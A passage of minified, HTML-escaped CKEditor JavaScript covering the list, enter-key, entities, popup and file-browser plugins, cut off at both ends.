G.indent&amp;&amp;!c&amp;&amp;h){f[h.getName()]?(D=G.element.clone(!1,!0),F!=h.getDirection(1)&amp;&amp;D.setAttribute(&quot;dir&quot;,F)):D=new CKEDITOR.dom.documentFragment(k);var n=h.getDirection(1)!=F,L=G.element,N=L.getAttribute(&quot;class&quot;),H=L.getAttribute(&quot;style&quot;),R=D.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT&amp;&amp;(d!=CKEDITOR.ENTER_BR||n||H||N),P,T=G.contents.length,O;for(h=0;h&lt;T;h++)if(P=G.contents[h],l(P)&amp;&amp;1&lt;T)R?O=P.clone(1,1):D.append(P.clone(1,1));else if(P.type==CKEDITOR.NODE_ELEMENT&amp;&amp;P.isBlockBoundary()){n&amp;&amp;!P.getDirection()&amp;&amp;
P.setAttribute(&quot;dir&quot;,F);E=P;var J=L.getAttribute(&quot;style&quot;);J&amp;&amp;E.setAttribute(&quot;style&quot;,J.replace(/([^;])$/,&quot;$1;&quot;)+(E.getAttribute(&quot;style&quot;)||&quot;&quot;));N&amp;&amp;P.addClass(N);E=null;O&amp;&amp;(D.append(O),O=null);D.append(P.clone(1,1))}else R?(E||(E=k.createElement(I),D.append(E),n&amp;&amp;E.setAttribute(&quot;dir&quot;,F)),H&amp;&amp;E.setAttribute(&quot;style&quot;,H),N&amp;&amp;E.setAttribute(&quot;class&quot;,N),O&amp;&amp;(E.append(O),O=null),E.append(P.clone(1,1))):D.append(P.clone(1,1));O&amp;&amp;((E||D).append(O),O=null);D.type==CKEDITOR.NODE_DOCUMENT_FRAGMENT&amp;&amp;u!=a.length-1&amp;&amp;(CKEDITOR.env.needsBrFiller&amp;&amp;
(F=D.getLast())&amp;&amp;F.type==CKEDITOR.NODE_ELEMENT&amp;&amp;F.is(&quot;br&quot;)&amp;&amp;F.remove(),(F=D.getLast(g))&amp;&amp;F.type==CKEDITOR.NODE_ELEMENT&amp;&amp;F.is(CKEDITOR.dtd.$block)||D.append(k.createElement(&quot;br&quot;)));F=D.$.nodeName.toLowerCase();&quot;div&quot;!=F&amp;&amp;&quot;p&quot;!=F||D.appendBogus();m.append(D);n=null;u++}else return null;E=null;if(a.length&lt;=u||Math.max(a[u].indent,0)&lt;v)break}if(b)for(a=m.getFirst();a;){if(a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(CKEDITOR.dom.element.clearMarkers(b,a),a.getName()in CKEDITOR.dtd.$listItem&amp;&amp;(c=a,k=e=d=void 0,d=c.getDirection()))){for(e=
c.getParent();e&amp;&amp;!(k=e.getDirection());)e=e.getParent();d==k&amp;&amp;c.removeAttribute(&quot;dir&quot;)}a=a.getNextSourceNode()}return{listNode:m,nextIndex:u}}};var v=/^h[1-6]$/,u=CKEDITOR.dom.walker.nodeType(CKEDITOR.NODE_ELEMENT);e.prototype={exec:function(b){this.refresh(b,b.elementPath());var d=b.config,e=b.getSelection(),h=e&amp;&amp;e.getRanges();if(this.state==CKEDITOR.TRISTATE_OFF){var k=b.editable();if(k.getFirst(g)){var l=1==h.length&amp;&amp;h[0];(d=l&amp;&amp;l.getEnclosedNode())&amp;&amp;d.is&amp;&amp;this.type==d.getName()&amp;&amp;this.setState(CKEDITOR.TRISTATE_ON)}else d.enterMode==
CKEDITOR.ENTER_BR?k.appendBogus():h[0].fixBlock(1,d.enterMode==CKEDITOR.ENTER_P?&quot;p&quot;:&quot;div&quot;),e.selectRanges(h)}for(var d=e.createBookmarks(!0),k=[],m={},h=h.createIterator(),n=0;(l=h.getNextRange())&amp;&amp;++n;){var u=l.getBoundaryNodes(),x=u.startNode,B=u.endNode;x.type==CKEDITOR.NODE_ELEMENT&amp;&amp;&quot;td&quot;==x.getName()&amp;&amp;l.setStartAt(u.startNode,CKEDITOR.POSITION_AFTER_START);B.type==CKEDITOR.NODE_ELEMENT&amp;&amp;&quot;td&quot;==B.getName()&amp;&amp;l.setEndAt(u.endNode,CKEDITOR.POSITION_BEFORE_END);l=l.createIterator();for(l.forceBrBreak=
this.state==CKEDITOR.TRISTATE_OFF;u=l.getNextParagraph();)if(!u.getCustomData(&quot;list_block&quot;)){CKEDITOR.dom.element.setMarker(m,u,&quot;list_block&quot;,1);for(var D=b.elementPath(u),x=D.elements,B=0,D=D.blockLimit,F,E=x.length-1;0&lt;=E&amp;&amp;(F=x[E]);E--)if(f[F.getName()]&amp;&amp;D.contains(F)){D.removeCustomData(&quot;list_group_object_&quot;+n);(x=F.getCustomData(&quot;list_group_object&quot;))?x.contents.push(u):(x={root:F,contents:[u]},k.push(x),CKEDITOR.dom.element.setMarker(m,F,&quot;list_group_object&quot;,x));B=1;break}B||(B=D,B.getCustomData(&quot;list_group_object_&quot;+
n)?B.getCustomData(&quot;list_group_object_&quot;+n).contents.push(u):(x={root:B,contents:[u]},CKEDITOR.dom.element.setMarker(m,B,&quot;list_group_object_&quot;+n,x),k.push(x)))}}for(F=[];0&lt;k.length;)if(x=k.shift(),this.state==CKEDITOR.TRISTATE_OFF)if(f[x.root.getName()]){h=b;n=x;x=m;l=F;B=CKEDITOR.plugins.list.listToArray(n.root,x);D=[];for(u=0;u&lt;n.contents.length;u++)E=n.contents[u],(E=E.getAscendant(&quot;li&quot;,!0))&amp;&amp;!E.getCustomData(&quot;list_item_processed&quot;)&amp;&amp;(D.push(E),CKEDITOR.dom.element.setMarker(x,E,&quot;list_item_processed&quot;,
!0));for(var E=n.root.getDocument(),I=void 0,G=void 0,u=0;u&lt;D.length;u++){var L=D[u].getCustomData(&quot;listarray_index&quot;),I=B[L].parent;I.is(this.type)||(G=E.createElement(this.type),I.copyAttributes(G,{start:1,type:1}),G.removeStyle(&quot;list-style-type&quot;),B[L].parent=G)}x=CKEDITOR.plugins.list.arrayToList(B,x,null,h.config.enterMode);B=void 0;D=x.listNode.getChildCount();for(u=0;u&lt;D&amp;&amp;(B=x.listNode.getChild(u));u++)B.getName()==this.type&amp;&amp;l.push(B);x.listNode.replace(n.root);h.fire(&quot;contentDomInvalidated&quot;)}else{B=
b;l=x;u=F;D=l.contents;h=l.root.getDocument();n=[];1==D.length&amp;&amp;D[0].equals(l.root)&amp;&amp;(x=h.createElement(&quot;div&quot;),D[0].moveChildren&amp;&amp;D[0].moveChildren(x),D[0].append(x),D[0]=x);l=l.contents[0].getParent();for(E=0;E&lt;D.length;E++)l=l.getCommonAncestor(D[E].getParent());I=B.config.useComputedState;B=x=void 0;I=void 0===I||I;for(E=0;E&lt;D.length;E++)for(G=D[E];L=G.getParent();){if(L.equals(l)){n.push(G);!B&amp;&amp;G.getDirection()&amp;&amp;(B=1);G=G.getDirection(I);null!==x&amp;&amp;(x=x&amp;&amp;x!=G?null:G);break}G=L}if(!(1&gt;n.length)){D=
n[n.length-1].getNext();E=h.createElement(this.type);u.push(E);for(I=u=void 0;n.length;)u=n.shift(),I=h.createElement(&quot;li&quot;),G=u,G.is(&quot;pre&quot;)||v.test(G.getName())||&quot;false&quot;==G.getAttribute(&quot;contenteditable&quot;)?u.appendTo(I):(u.copyAttributes(I),x&amp;&amp;u.getDirection()&amp;&amp;(I.removeStyle(&quot;direction&quot;),I.removeAttribute(&quot;dir&quot;)),u.moveChildren(I),u.remove()),I.appendTo(E);x&amp;&amp;B&amp;&amp;E.setAttribute(&quot;dir&quot;,x);D?E.insertBefore(D):E.appendTo(l)}}else this.state==CKEDITOR.TRISTATE_ON&amp;&amp;f[x.root.getName()]&amp;&amp;a.call(this,b,x,m);
for(E=0;E&lt;F.length;E++)c(F[E]);CKEDITOR.dom.element.clearAllMarkers(m);e.selectBookmarks(d);b.focus()},refresh:function(a,b){var c=b.contains(f,1),d=b.blockLimit||b.root;c&amp;&amp;d.contains(c)?this.setState(c.is(this.type)?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF):this.setState(CKEDITOR.TRISTATE_OFF)}};CKEDITOR.plugins.add(&quot;list&quot;,{requires:&quot;indentlist&quot;,init:function(a){a.blockless||(a.addCommand(&quot;numberedlist&quot;,new e(&quot;numberedlist&quot;,&quot;ol&quot;)),a.addCommand(&quot;bulletedlist&quot;,new e(&quot;bulletedlist&quot;,&quot;ul&quot;)),a.ui.addButton&amp;&amp;
(a.ui.addButton(&quot;NumberedList&quot;,{label:a.lang.list.numberedlist,command:&quot;numberedlist&quot;,directional:!0,toolbar:&quot;list,10&quot;}),a.ui.addButton(&quot;BulletedList&quot;,{label:a.lang.list.bulletedlist,command:&quot;bulletedlist&quot;,directional:!0,toolbar:&quot;list,20&quot;})),a.on(&quot;key&quot;,function(b){var c=b.data.domEvent.getKey(),e;if(&quot;wysiwyg&quot;==a.mode&amp;&amp;c in{8:1,46:1}){var h=a.getSelection().getRanges()[0],l=h&amp;&amp;h.startPath();if(h&amp;&amp;h.collapsed){var u=8==c,v=a.editable(),C=new CKEDITOR.dom.walker(h.clone());C.evaluator=function(a){return g(a)&amp;&amp;
!n(a)};C.guard=function(a,b){return!(b&amp;&amp;a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.is(&quot;table&quot;))};c=h.clone();if(u){var x;(x=l.contains(f))&amp;&amp;h.checkBoundaryOfElement(x,CKEDITOR.START)&amp;&amp;(x=x.getParent())&amp;&amp;x.is(&quot;li&quot;)&amp;&amp;(x=m(x))?(e=x,x=x.getPrevious(g),c.moveToPosition(x&amp;&amp;n(x)?x:e,CKEDITOR.POSITION_BEFORE_START)):(C.range.setStartAt(v,CKEDITOR.POSITION_AFTER_START),C.range.setEnd(h.startContainer,h.startOffset),(x=C.previous())&amp;&amp;x.type==CKEDITOR.NODE_ELEMENT&amp;&amp;(x.getName()in f||x.is(&quot;li&quot;))&amp;&amp;(x.is(&quot;li&quot;)||(C.range.selectNodeContents(x),
C.reset(),C.evaluator=d,x=C.previous()),e=x,c.moveToElementEditEnd(e),c.moveToPosition(c.endPath().block,CKEDITOR.POSITION_BEFORE_END)));if(e)k(a,c,h),b.cancel();else{var B=l.contains(f);B&amp;&amp;h.checkBoundaryOfElement(B,CKEDITOR.START)&amp;&amp;(e=B.getFirst(g),h.checkBoundaryOfElement(e,CKEDITOR.START)&amp;&amp;(x=B.getPrevious(g),m(e)?x&amp;&amp;(h.moveToElementEditEnd(x),h.select()):a.execCommand(&quot;outdent&quot;),b.cancel()))}}else if(e=l.contains(&quot;li&quot;)){if(C.range.setEndAt(v,CKEDITOR.POSITION_BEFORE_END),u=(v=e.getLast(g))&amp;&amp;
d(v)?v:e,l=0,(x=C.next())&amp;&amp;x.type==CKEDITOR.NODE_ELEMENT&amp;&amp;x.getName()in f&amp;&amp;x.equals(v)?(l=1,x=C.next()):h.checkBoundaryOfElement(u,CKEDITOR.END)&amp;&amp;(l=2),l&amp;&amp;x){h=h.clone();h.moveToElementEditStart(x);if(1==l&amp;&amp;(c.optimize(),!c.startContainer.equals(e))){for(e=c.startContainer;e.is(CKEDITOR.dtd.$inline);)B=e,e=e.getParent();B&amp;&amp;c.moveToPosition(B,CKEDITOR.POSITION_AFTER_END)}2==l&amp;&amp;(c.moveToPosition(c.endPath().block,CKEDITOR.POSITION_BEFORE_END),h.endPath().block&amp;&amp;h.moveToPosition(h.endPath().block,CKEDITOR.POSITION_AFTER_START));
k(a,c,h);b.cancel()}}else C.range.setEndAt(v,CKEDITOR.POSITION_BEFORE_END),(x=C.next())&amp;&amp;x.type==CKEDITOR.NODE_ELEMENT&amp;&amp;x.is(f)&amp;&amp;(x=x.getFirst(g),l.block&amp;&amp;h.checkStartOfBlock()&amp;&amp;h.checkEndOfBlock()?(l.block.remove(),h.moveToElementEditStart(x),h.select()):m(x)?(h.moveToElementEditStart(x),h.select()):(h=h.clone(),h.moveToElementEditStart(x),k(a,c,h)),b.cancel());setTimeout(function(){a.selectionChange(1)})}}}))}})}(),function(){function a(a,b,c){c=a.config.forceEnterMode||c;&quot;wysiwyg&quot;==a.mode&amp;&amp;(b||
(b=a.activeEnterMode),a.elementPath().isContextFor(&quot;p&quot;)||(b=CKEDITOR.ENTER_BR,c=1),a.fire(&quot;saveSnapshot&quot;),b==CKEDITOR.ENTER_BR?m(a,b,null,c):f(a,b,null,c),a.fire(&quot;saveSnapshot&quot;))}function e(a){a=a.getSelection().getRanges(!0);for(var b=a.length-1;0&lt;b;b--)a[b].deleteContents();return a[0]}function b(a){var b=a.startContainer.getAscendant(function(a){return a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;&quot;true&quot;==a.getAttribute(&quot;contenteditable&quot;)},!0);if(a.root.equals(b))return a;b=new CKEDITOR.dom.range(b);b.moveToRange(a);
return b}CKEDITOR.plugins.add(&quot;enterkey&quot;,{init:function(b){b.addCommand(&quot;enter&quot;,{modes:{wysiwyg:1},editorFocus:!1,exec:function(b){a(b)}});b.addCommand(&quot;shiftEnter&quot;,{modes:{wysiwyg:1},editorFocus:!1,exec:function(b){a(b,b.activeShiftEnterMode,1)}});b.setKeystroke([[13,&quot;enter&quot;],[CKEDITOR.SHIFT+13,&quot;shiftEnter&quot;]])}});var c=CKEDITOR.dom.walker.whitespaces(),d=CKEDITOR.dom.walker.bookmark();CKEDITOR.plugins.enterkey={enterBlock:function(a,f,k,v){if(k=k||e(a)){k=b(k);var u=k.document,q=k.checkStartOfBlock(),
t=k.checkEndOfBlock(),p=a.elementPath(k.startContainer),y=p.block,A=f==CKEDITOR.ENTER_DIV?&quot;div&quot;:&quot;p&quot;,z;if(q&amp;&amp;t){if(y&amp;&amp;(y.is(&quot;li&quot;)||y.getParent().is(&quot;li&quot;))){y.is(&quot;li&quot;)||(y=y.getParent());k=y.getParent();z=k.getParent();v=!y.hasPrevious();var r=!y.hasNext(),A=a.getSelection(),w=A.createBookmarks(),q=y.getDirection(1),t=y.getAttribute(&quot;class&quot;),C=y.getAttribute(&quot;style&quot;),x=z.getDirection(1)!=q;a=a.enterMode!=CKEDITOR.ENTER_BR||x||C||t;if(z.is(&quot;li&quot;))v||r?(v&amp;&amp;r&amp;&amp;k.remove(),y[r?&quot;insertAfter&quot;:&quot;insertBefore&quot;](z)):
y.breakParent(z);else{if(a)if(p.block.is(&quot;li&quot;)?(z=u.createElement(f==CKEDITOR.ENTER_P?&quot;p&quot;:&quot;div&quot;),x&amp;&amp;z.setAttribute(&quot;dir&quot;,q),C&amp;&amp;z.setAttribute(&quot;style&quot;,C),t&amp;&amp;z.setAttribute(&quot;class&quot;,t),y.moveChildren(z)):z=p.block,v||r)z[v?&quot;insertBefore&quot;:&quot;insertAfter&quot;](k);else y.breakParent(k),z.insertAfter(k);else if(y.appendBogus(!0),v||r)for(;u=y[v?&quot;getFirst&quot;:&quot;getLast&quot;]();)u[v?&quot;insertBefore&quot;:&quot;insertAfter&quot;](k);else for(y.breakParent(k);u=y.getLast();)u.insertAfter(k);y.remove()}A.selectBookmarks(w);return}if(y&amp;&amp;y.getParent().is(&quot;blockquote&quot;)){y.breakParent(y.getParent());
y.getPrevious().getFirst(CKEDITOR.dom.walker.invisible(1))||y.getPrevious().remove();y.getNext().getFirst(CKEDITOR.dom.walker.invisible(1))||y.getNext().remove();k.moveToElementEditStart(y);k.select();return}}else if(y&amp;&amp;y.is(&quot;pre&quot;)&amp;&amp;!t){m(a,f,k,v);return}if(q=k.splitBlock(A)){f=q.previousBlock;y=q.nextBlock;p=q.wasStartOfBlock;a=q.wasEndOfBlock;y?(w=y.getParent(),w.is(&quot;li&quot;)&amp;&amp;(y.breakParent(w),y.move(y.getNext(),1))):f&amp;&amp;(w=f.getParent())&amp;&amp;w.is(&quot;li&quot;)&amp;&amp;(f.breakParent(w),w=f.getNext(),k.moveToElementEditStart(w),
f.move(f.getPrevious()));if(p||a){if(f){if(f.is(&quot;li&quot;)||!h.test(f.getName())&amp;&amp;!f.is(&quot;pre&quot;))z=f.clone()}else y&amp;&amp;(z=y.clone());z?v&amp;&amp;!z.is(&quot;li&quot;)&amp;&amp;z.renameNode(A):w&amp;&amp;w.is(&quot;li&quot;)?z=w:(z=u.createElement(A),f&amp;&amp;(r=f.getDirection())&amp;&amp;z.setAttribute(&quot;dir&quot;,r));if(u=q.elementPath)for(v=0,A=u.elements.length;v&lt;A;v++){w=u.elements[v];if(w.equals(u.block)||w.equals(u.blockLimit))break;CKEDITOR.dtd.$removeEmpty[w.getName()]&amp;&amp;(w=w.clone(),z.moveChildren(w),z.append(w))}z.appendBogus();z.getParent()||k.insertNode(z);
z.is(&quot;li&quot;)&amp;&amp;z.removeAttribute(&quot;value&quot;);!CKEDITOR.env.ie||!p||a&amp;&amp;f.getChildCount()||(k.moveToElementEditStart(a?f:z),k.select());k.moveToElementEditStart(p&amp;&amp;!a?y:z)}else y.is(&quot;li&quot;)&amp;&amp;(z=k.clone(),z.selectNodeContents(y),z=new CKEDITOR.dom.walker(z),z.evaluator=function(a){return!(d(a)||c(a)||a.type==CKEDITOR.NODE_ELEMENT&amp;&amp;a.getName()in CKEDITOR.dtd.$inline&amp;&amp;!(a.getName()in CKEDITOR.dtd.$empty))},(w=z.next())&amp;&amp;w.type==CKEDITOR.NODE_ELEMENT&amp;&amp;w.is(&quot;ul&quot;,&quot;ol&quot;)&amp;&amp;(CKEDITOR.env.needsBrFiller?u.createElement(&quot;br&quot;):
u.createText(&quot; &quot;)).insertBefore(w)),y&amp;&amp;k.moveToElementEditStart(y);k.select();k.scrollIntoView()}}},enterBr:function(a,b,c,d){if(c=c||e(a)){var k=c.document,m=c.checkEndOfBlock(),t=new CKEDITOR.dom.elementPath(a.getSelection().getStartElement()),p=t.block,y=p&amp;&amp;t.block.getName();d||&quot;li&quot;!=y?(!d&amp;&amp;m&amp;&amp;h.test(y)?(m=p.getDirection())?(k=k.createElement(&quot;div&quot;),k.setAttribute(&quot;dir&quot;,m),k.insertAfter(p),c.setStart(k,0)):(k.createElement(&quot;br&quot;).insertAfter(p),CKEDITOR.env.gecko&amp;&amp;k.createText(&quot;&quot;).insertAfter(p),
c.setStartAt(p.getNext(),CKEDITOR.env.ie?CKEDITOR.POSITION_BEFORE_START:CKEDITOR.POSITION_AFTER_START)):(a=&quot;pre&quot;==y&amp;&amp;CKEDITOR.env.ie&amp;&amp;8&gt;CKEDITOR.env.version?k.createText(&quot;\r&quot;):k.createElement(&quot;br&quot;),c.deleteContents(),c.insertNode(a),CKEDITOR.env.needsBrFiller?(k.createText(&quot;﻿&quot;).insertAfter(a),m&amp;&amp;(p||t.blockLimit).appendBogus(),a.getNext().$.nodeValue=&quot;&quot;,c.setStartAt(a.getNext(),CKEDITOR.POSITION_AFTER_START)):c.setStartAt(a,CKEDITOR.POSITION_AFTER_END)),c.collapse(!0),c.select(),c.scrollIntoView()):
f(a,b,c,d)}}};var k=CKEDITOR.plugins.enterkey,m=k.enterBr,f=k.enterBlock,h=/^h[1-6]$/}(),function(){function a(a,b){var c={},d=[],k={nbsp:&quot; &quot;,shy:&quot;­&quot;,gt:&quot;\x3e&quot;,lt:&quot;\x3c&quot;,amp:&quot;\x26&quot;,apos:&quot;&#039;&quot;,quot:&#039;&quot;&#039;};a=a.replace(/\b(nbsp|shy|gt|lt|amp|apos|quot)(?:,|$)/g,function(a,f){var e=b?&quot;\x26&quot;+f+&quot;;&quot;:k[f];c[e]=b?k[f]:&quot;\x26&quot;+f+&quot;;&quot;;d.push(e);return&quot;&quot;});if(!b&amp;&amp;a){a=a.split(&quot;,&quot;);var m=document.createElement(&quot;div&quot;),f;m.innerHTML=&quot;\x26&quot;+a.join(&quot;;\x26&quot;)+&quot;;&quot;;f=m.innerHTML;m=null;for(m=0;m&lt;f.length;m++){var h=f.charAt(m);
c[h]=&quot;\x26&quot;+a[m]+&quot;;&quot;;d.push(h)}}c.regex=d.join(b?&quot;|&quot;:&quot;&quot;);return c}CKEDITOR.plugins.add(&quot;entities&quot;,{afterInit:function(e){function b(a){return h[a]}function c(a){return&quot;force&quot;!=d.entities_processNumerical&amp;&amp;m[a]?m[a]:&quot;\x26#&quot;+a.charCodeAt(0)+&quot;;&quot;}var d=e.config;if(e=(e=e.dataProcessor)&amp;&amp;e.htmlFilter){var k=[];!1!==d.basicEntities&amp;&amp;k.push(&quot;nbsp,gt,lt,amp&quot;);d.entities&amp;&amp;(k.length&amp;&amp;k.push(&quot;quot,iexcl,cent,pound,curren,yen,brvbar,sect,uml,copy,ordf,laquo,not,shy,reg,macr,deg,plusmn,sup2,sup3,acute,micro,para,middot,cedil,sup1,ordm,raquo,frac14,frac12,frac34,iquest,times,divide,fnof,bull,hellip,prime,Prime,oline,frasl,weierp,image,real,trade,alefsym,larr,uarr,rarr,darr,harr,crarr,lArr,uArr,rArr,dArr,hArr,forall,part,exist,empty,nabla,isin,notin,ni,prod,sum,minus,lowast,radic,prop,infin,ang,and,or,cap,cup,int,there4,sim,cong,asymp,ne,equiv,le,ge,sub,sup,nsub,sube,supe,oplus,otimes,perp,sdot,lceil,rceil,lfloor,rfloor,lang,rang,loz,spades,clubs,hearts,diams,circ,tilde,ensp,emsp,thinsp,zwnj,zwj,lrm,rlm,ndash,mdash,lsquo,rsquo,sbquo,ldquo,rdquo,bdquo,dagger,Dagger,permil,lsaquo,rsaquo,euro&quot;),
d.entities_latin&amp;&amp;k.push(&quot;Agrave,Aacute,Acirc,Atilde,Auml,Aring,AElig,Ccedil,Egrave,Eacute,Ecirc,Euml,Igrave,Iacute,Icirc,Iuml,ETH,Ntilde,Ograve,Oacute,Ocirc,Otilde,Ouml,Oslash,Ugrave,Uacute,Ucirc,Uuml,Yacute,THORN,szlig,agrave,aacute,acirc,atilde,auml,aring,aelig,ccedil,egrave,eacute,ecirc,euml,igrave,iacute,icirc,iuml,eth,ntilde,ograve,oacute,ocirc,otilde,ouml,oslash,ugrave,uacute,ucirc,uuml,yacute,thorn,yuml,OElig,oelig,Scaron,scaron,Yuml&quot;),d.entities_greek&amp;&amp;k.push(&quot;Alpha,Beta,Gamma,Delta,Epsilon,Zeta,Eta,Theta,Iota,Kappa,Lambda,Mu,Nu,Xi,Omicron,Pi,Rho,Sigma,Tau,Upsilon,Phi,Chi,Psi,Omega,alpha,beta,gamma,delta,epsilon,zeta,eta,theta,iota,kappa,lambda,mu,nu,xi,omicron,pi,rho,sigmaf,sigma,tau,upsilon,phi,chi,psi,omega,thetasym,upsih,piv&quot;),
d.entities_additional&amp;&amp;k.push(d.entities_additional));var m=a(k.join(&quot;,&quot;)),f=m.regex?&quot;[&quot;+m.regex+&quot;]&quot;:&quot;a^&quot;;delete m.regex;d.entities&amp;&amp;d.entities_processNumerical&amp;&amp;(f=&quot;[^ -~]|&quot;+f);var f=new RegExp(f,&quot;g&quot;),h=a(&quot;nbsp,gt,lt,amp,shy&quot;,!0),l=new RegExp(h.regex,&quot;g&quot;);e.addRules({text:function(a){return a.replace(l,b).replace(f,c)}},{applyToAll:!0,excludeNestedEditable:!0})}}})}(),CKEDITOR.config.basicEntities=!0,CKEDITOR.config.entities=!0,CKEDITOR.config.entities_latin=!0,CKEDITOR.config.entities_greek=!0,
CKEDITOR.config.entities_additional=&quot;#39&quot;,CKEDITOR.plugins.add(&quot;popup&quot;),CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{popup:function(a,e,b,c){e=e||&quot;80%&quot;;b=b||&quot;70%&quot;;&quot;string&quot;==typeof e&amp;&amp;1&lt;e.length&amp;&amp;&quot;%&quot;==e.substr(e.length-1,1)&amp;&amp;(e=parseInt(window.screen.width*parseInt(e,10)/100,10));&quot;string&quot;==typeof b&amp;&amp;1&lt;b.length&amp;&amp;&quot;%&quot;==b.substr(b.length-1,1)&amp;&amp;(b=parseInt(window.screen.height*parseInt(b,10)/100,10));640&gt;e&amp;&amp;(e=640);420&gt;b&amp;&amp;(b=420);var d=parseInt((window.screen.height-b)/2,10),k=parseInt((window.screen.width-
e)/2,10);c=(c||&quot;location\x3dno,menubar\x3dno,toolbar\x3dno,dependent\x3dyes,minimizable\x3dno,modal\x3dyes,alwaysRaised\x3dyes,resizable\x3dyes,scrollbars\x3dyes&quot;)+&quot;,width\x3d&quot;+e+&quot;,height\x3d&quot;+b+&quot;,top\x3d&quot;+d+&quot;,left\x3d&quot;+k;var m=window.open(&quot;&quot;,null,c,!0);if(!m)return!1;try{-1==navigator.userAgent.toLowerCase().indexOf(&quot; chrome/&quot;)&amp;&amp;(m.moveTo(k,d),m.resizeTo(e,b)),m.focus(),m.location.href=a}catch(f){window.open(a,null,c,!0)}return!0}}),function(){function a(a,b){var c=[];if(b)for(var d in b)c.push(d+
&quot;\x3d&quot;+encodeURIComponent(b[d]));else return a;return a+(-1!=a.indexOf(&quot;?&quot;)?&quot;\x26&quot;:&quot;?&quot;)+c.join(&quot;\x26&quot;)}function e(a){a+=&quot;&quot;;return a.charAt(0).toUpperCase()+a.substr(1)}function b(){var b=this.getDialog(),c=b.getParentEditor();c._.filebrowserSe=this;var d=c.config[&quot;filebrowser&quot;+e(b.getName())+&quot;WindowWidth&quot;]||c.config.filebrowserWindowWidth||&quot;80%&quot;,b=c.config[&quot;filebrowser&quot;+e(b.getName())+&quot;WindowHeight&quot;]||c.config.filebrowserWindowHeight||&quot;70%&quot;,f=this.filebrowser.params||{};f.CKEditor=c.name;f.CKEditorFuncNum=
c._.filebrowserFn;f.langCode||(f.langCode=c.langCode);f=a(this.filebrowser.url,f);c.popup(f,d,b,c.config.filebrowserWindowFeatures||c.config.fileBrowserWindowFeatures)}function c(){var a=this.getDialog();a.getParentEditor()._.filebrowserSe=this;return a.getContentElement(this[&quot;for&quot;][0],this[&quot;for&quot;][1]).getInputElement().$.value&amp;&amp;a.getContentElement(this[&quot;for&quot;][0],this[&quot;for&quot;][1]).getAction()?!0:!1}function d(b,c,d){var f=d.params||{};f.CKEditor=b.name;f.CKEditorFuncNum=b._.filebrowserFn;f.langCode||
(f.langCode=b.langCode);c.action=a(d.url,f);c.filebrowser=d}function k(a,f,g,m){if(m&amp;&amp;m.length)for(var v,u=m.length;u--;)if(v=m[u],&quot;hbox&quot;!=v.type&amp;&amp;&quot;vbox&quot;!=v.type&amp;&amp;&quot;fieldset&quot;!=v.type||k(a,f,g,v.children),v.filebrowser)if(&quot;string&quot;==typeof v.filebrowser&amp;&amp;(v.filebrowser={action:&quot;fileButton&quot;==v.type?&quot;QuickUpload&quot;:&quot;Browse&quot;,target:v.filebrowser}),&quot;Browse&quot;==v.filebrowser.action){var q=v.filebrowser.url;void 0===q&amp;&amp;(q=a.config[&quot;filebrowser&quot;+e(f)+&quot;BrowseUrl&quot;],void 0===q&amp;&amp;(q=a.config.filebrowserBrowseUrl));
q&amp;&amp;(v.onClick=b,v.filebrowser.url=q,v.hidden=!1)}else if(&quot;QuickUpload&quot;==v.filebrowser.action&amp;&amp;v[&quot;for&quot;]&amp;&amp;(q=v.filebrowser.url,void 0===q&amp;&amp;(q=a.config[&quot;filebrowser&quot;+e(f)+&quot;UploadUrl&quot;],void 0===q&amp;&amp;(q=a.config.filebrowserUploadUrl)),q)){var t=v.onClick;v.onClick=function(a){var b=a.sender;if(t&amp;&amp;!1===t.call(b,a))return!1;if(c.call(b,a)){a=b.getDialog().getContentElement(this[&quot;for&quot;][0],this[&quot;for&quot;][1]).getInputElement();if(b=new CKEDITOR.dom.element(a.$.form))(a=b.$.elements.ckCsrfToken)?a=new CKEDITOR.dom.element(a):
(a=new CKEDITOR.dom.element(&quot;input&quot;),a.setAttributes({name:&quot;ckCsrfToken&quot;,type:&quot;hidden&quot;}),b.append(a)),a.setAttribute(&quot;value&quot;,CKEDITOR.tools.getCsrfToken());return!0}return!1};v.filebrowser.url=q;v.hidden=!1;d(a,g.getContents(v[&quot;for&quot;][0]).get(v[&quot;for&quot;][1]),v.filebrowser)}}function m(a,b,c){if(-1!==c.indexOf(&quot;;&quot;)){c=c.split(&quot;;&quot;);for(var d=0;d&lt;c.length;d++)if(m(a,b,c[d]))return!0;return!1}return(a=a.getContents(b).get(c).filebrowser)&amp;&amp;a.url}function f(a,b){var c=this._.filebrowserSe.getDialog(),d=this._.filebrowserSe[&quot;for&quot;],
f=this._.filebrowserSe.filebrowser.onSelect;d&amp;&amp;c.getContentElement(d[0],d[1]).reset();if(&quot;function&quot;!=typeof b||!1!==b.call(this._.filebrowserSe))if(!f||!1!==f.call(this._.filebrowserSe,a,b))if(&quot;string&quot;==typeof b&amp;&amp;b&amp;&amp;alert(b),a&amp;&amp;(d=this._.filebrowserSe,c=d.getDialog(),d=d.filebrowser.target||null))if(d=d.split(&quot;:&quot;),f=c.getContentElement(d[0],d[1]))f.setValue(a),c.selectPage(d[0])}CKEDITOR.plugins.add(&quot;filebrowser&quot;,{requires:&quot;popup&quot;,init:function(a){a._.filebrowserFn=CKEDITOR.tools.addFunction(f,a);
a.on(&quot;destroy&quot;,function(){CKEDITOR.tools.removeFunction(this._.filebrowserFn)})}});CKEDITOR.on(&quot;dialogDefinition&quot;,function(a){if(a.editor.plugins.filebrowser)for(var b=a.data.definition,c,d=0;d&lt;b.contents.length;++d)if(c=b.contents[d])k(a.editor,a.data.name,b,c.elements),c.hidden&amp;&amp;c.filebrowser&amp;&amp;(c.hidden=!m(b,c.id,c.filebrowser))})}(),function(){function a(a){var d=a.config,k=a.fire(&quot;uiSpace&quot;,{space:&quot;top&quot;,html:&quot;&quot;}).html,m=function(){function f(a,c,d){h.setStyle(c,b(d));h.setStyle(&quot;position&quot;,a)}function g(a){var b=
